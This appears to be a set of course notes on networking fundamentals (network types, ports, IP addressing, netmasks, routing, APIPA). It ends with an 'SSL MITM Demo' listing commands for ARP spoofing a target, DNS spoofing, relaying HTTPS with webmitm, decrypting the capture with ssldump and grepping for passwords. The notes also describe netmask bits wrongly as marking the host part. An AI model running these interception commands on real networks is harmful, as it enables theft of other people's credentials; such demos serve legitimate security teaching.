Networking

What is a Network?
A network is a group of connected computers that allow people to share information and equipment.

Network Size
A network can be any size. For example, connecting two home computers so they can share data creates a simple network. Companies can have networks consisting of a few dozen computers or hundreds of computers. The Internet is the world’s largest network, consisting of smaller networks, and connecting billions of computers all over the world.

Types of Networks
- **LAN** – A local Area network (LAN) is the most common type of network found in businesses. Local area networks connect computers and devices to each other, such as in one building.
- **MAN** – A Metropolitan Area Network (MAN) is a collection of Local Area Networks. Metropolitan area networks connect computers located in the same geographic area, such as a city or town. For example, a college may use a MAN that connects the local area networks on each campus throughout a city.
- **WAN** – A Wide Area Network (WAN) connects local and metropolitan area networks together. The networks that make up a wide area network may be located throughout a country or even around the world. When a single company owns and controls a wide area network, the WAN is often referred to as an enterprise network. The Internet is the largest wide area network.

Network Hardware
Network hardware includes the physical devices used on a network. All networks require network hardware to function.
- Computers
- Resources
- Cables
- Connectors
- Network Interface Cards

Network Software
Network software consists of programs that manage the network, allow computer to communicate and share information on the network.
- Network Operating System
- Network driver
- Server software
- Application Software
- Management Software
Client/Server Networks
A client/server network consists of a central computer that servers information and resources to other computers, called client.

Network Structure
Network structure, also called network topology, specifies how a network is designed or laid out. A network structure has both a physical level and a logical level.

Common Network topologies: Ring, Mesh, Star, Fully Connected, Line, Tree, Bus

http://en.wikipedia.org/wiki/Network_topology

Networking Hardware continued
- Servers
- Storage Devices
- Printers
- Network Interface cards
- Hubs
- Switches
- Repeaters
- Bridges
- Routers
- Gateways
- Modems

Transmission Media
Transmission media are the physical pathways that connect computers and devices on a network.
- Cable (coaxial cable, UTP, STP)
- Light (Fiber-optic cable)
- Wireless (Infrared systems, radio systems, microwave, satellite, Bluetooth)
TCP/IP Model
http://www.ietf.org/rfc/rfc0871.txt?number=871

OSI Model
http://acm.org/sigcomm/standards/iso_stds/OSI_MODEL/ISO_IEC_7498-1.TXT

Port Numbers
http://en.wikipedia.org/wiki/TCP_and_UDP_port
http://www.iana.org/assignments/port-numbers

The Internet Assigned Numbers Authority (IANA) assigns TCP/UDP port numbers. This little known but important organization keeps track of the many different standards and systems that make the Internet run.
Among its duties are handing out
- IP addresses and delegating who is responsible for top-level domain names.
- Keeping list of which services can be found on what network ports

Almost every major application has a port number associated with it.
Port numbers range from 1 to 65,535 for both TCP services and UDP Services.
Port numbers are divided into three ranges:
- Port numbers 0 to 1,023 are considered reserved for common applications. These services usually run as root or a privileged user and are called well-known port numbers.
- Port numbers 1,024 to 49,151 are called registered ports and can be registered with IANA for specific applications.
- Finally, there are Dynamic or private ports (also called ephemeral port numbers), which the operating system chooses at random from the numbers above 1,024, usually high up in the range (49,152 to 65,535). These are used for machines that connect on an ad-hoc basis to other machines.

<table>
<thead>
<tr>
<th>Common Port Number</th>
<th>Protocol</th>
<th>Service</th>
</tr>
</thead>
<tbody>
<tr>
<td>21</td>
<td>FTP</td>
<td>File Transfer Protocol</td>
</tr>
<tr>
<td>22</td>
<td>SSH</td>
<td>Secure Shell</td>
</tr>
<tr>
<td>23</td>
<td>Telnet</td>
<td>Telnet</td>
</tr>
<tr>
<td>25</td>
<td>SMTP</td>
<td>Mail Service</td>
</tr>
<tr>
<td>53</td>
<td>DNS</td>
<td>Domain name resolution</td>
</tr>
<tr>
<td>79</td>
<td>Finger</td>
<td>Finger</td>
</tr>
<tr>
<td>80</td>
<td>HTTP</td>
<td>Web service</td>
</tr>
<tr>
<td>135-139</td>
<td>NetBIOS</td>
<td>Windows network communications</td>
</tr>
<tr>
<td>443</td>
<td>SSL</td>
<td>Secure Web Service</td>
</tr>
</tbody>
</table>

Address Types

IP Addresses

---

1 Howlett, Tony, Open Source Security Tools: A Practical Guide to Security Applications, pg 89
**IP addresses** identify a particular machine on the network, and are 32 bits in length for IPv4. Every system directly connected to the Internet has a unique IP address.

152.14.24.72 = 10011000 00001110 00011000 01001000

**Netmasks**

Every IP address actually consists of two components: the network address and the host address on that particular network. The network address describes the particular LAN where traffic can be directed for delivery. The host address identifies the particular machine.

A computer or router determines which part of the IP address refers to the network, and which part refers to the host based on something called the netmask. The netmask defines which bits are in the network address (and all the rest of the bits in the IP address are in the host component of the address).

The netmask is a binary number that has its bit set to 1 when a given bit in the IP address is part of the host address. Therefore, you can figure out what the network address is by simply combining the whole IP address with the netmask using a logical AND function.

**Calculating the network address using the IP Address and netmask**

<table>
<thead>
<tr>
<th>IP Address: 152.14.24.72 = 10011000 00001110 00011000 01001000</th>
<th>Netmask: 255.255.255.128 = 11111111 11111111 11111111 10000000</th>
<th>AND</th>
</tr>
</thead>
<tbody>
<tr>
<td>Network Address: 152.14.24.0</td>
<td>10011000 00001110 00011000 00000000</td>
<td></td>
</tr>
</tbody>
</table>

**Routing Packets**

**Routing** is the process of moving a packet from one network to another network, with the goal of advancing the packet toward its destination in a relatively efficient way.

**Type of Routing**

- **Dynamic Routing** – The routers themselves determine the path that packets will use. The routers chat among themselves using a variety of routing protocols (RIP, OSPF, BGP, etc) to determine the best path of packets to travel.
- **Static Routing** – all traffic with the same destination address is always sent the same direction, regardless of potential link damage or any capacity problems.
- **Source Routing** – the source machine generating the packet determines which route the packet will take as it traverses the network. Each individual IP packet contains a list of routers that the packet will travel through as it goes across the network.

**Network Address Translation**

Automatic Private IP Addressing (APIPA)\(^2\)

If a network client fails to get an IP address using DHCP, it can discover an address on its own using APIPA.

To get an IPv4 address, the client will select an address at random in the range 169.254.1.0 to 169.254.254.255 (inclusive), with a netmask of 255.255.0.0. It will then send an ARP packet asking for the MAC address corresponding to the randomly-generated IPv4 address. If any other machine is using that address, it will generate another random address and try again.

The entire address range 169.254.0.0/16 has been set aside for "link local" addresses (the first and last 256 addresses have been reserved for future use). They should not be manually assigned or assigned using DHCP. See RFC 3330, which describes various special-use IPv4 addresses and address ranges, including the link local range.

In many cases the presence of a "link local" address indicates a loss of network connectivity, or that a DHCP server is down.

\(^2\) [http://wiki.etheral.com/APIPA](http://wiki.etheral.com/APIPA)
Most operating systems let you specify an IP address as an integer as opposed to the traditional dotted-quad format. For www.ncsu.edu, give the IP address and its equivalent integer value? Try it in a web browser to see if it works.

Step 1: Get IP address with nslookup www.ncsu.edu
www.ncsu.edu = 152.1.226.10

Step 2: Write IP Address in binary format
152.1.226.10 = 10011000.00000001.11100010.00001010

Step 3: Concatenate binary to form 1 binary string
10011000.00000001.11100010.00001010 = 10011000000000011110001000001010

Step 4: Convert the binary string to decimal
10011000000000011110001000001010 = 2550260234

Step 5: Substitute decimal notation for hostname
http://2550260234
ping 2550260234
nslookup 2550260234

SSL MITM Demo
http://eks0.free.fr/whax-demos/?f=Whoppix-ssl-mitm_config.xml

1. Firing up fragrouter (not fragroute)
   fragrouter -B1

2. We are going to launch an Arp Spoof attack on our target 172.20.1.157
   arpspoof -t 172.20.1.157 172.20.1.10, where 172.20.1.10 is the gateway for the victim's network

3. dnsspoof
   Name says it all

4. webmitm
   webmitm Transparently relays HTTP/HTTPS traffic

5. ethereal
   Running Ethereal to sniff packets (From/To the target machine)
   Save to file

Observations:
   dnsspoof resolves Gmail.com for the target
   SSL traffic is being relayed

6. ssldump -r test -k webmitm.crt -d > output
   Using ssldump to decrypt the captured packet.
   We input the captured file using "-r" option.
   "-K" is used to input the webmitm SSL certificate in this case its "Webmitm.crt"
   Output file is Specified, in this case "output"

7. cat output | grep Email
   Search for Username/password in the decrypted file

Observations:
   Username=devil
   Password=devil
   Own3d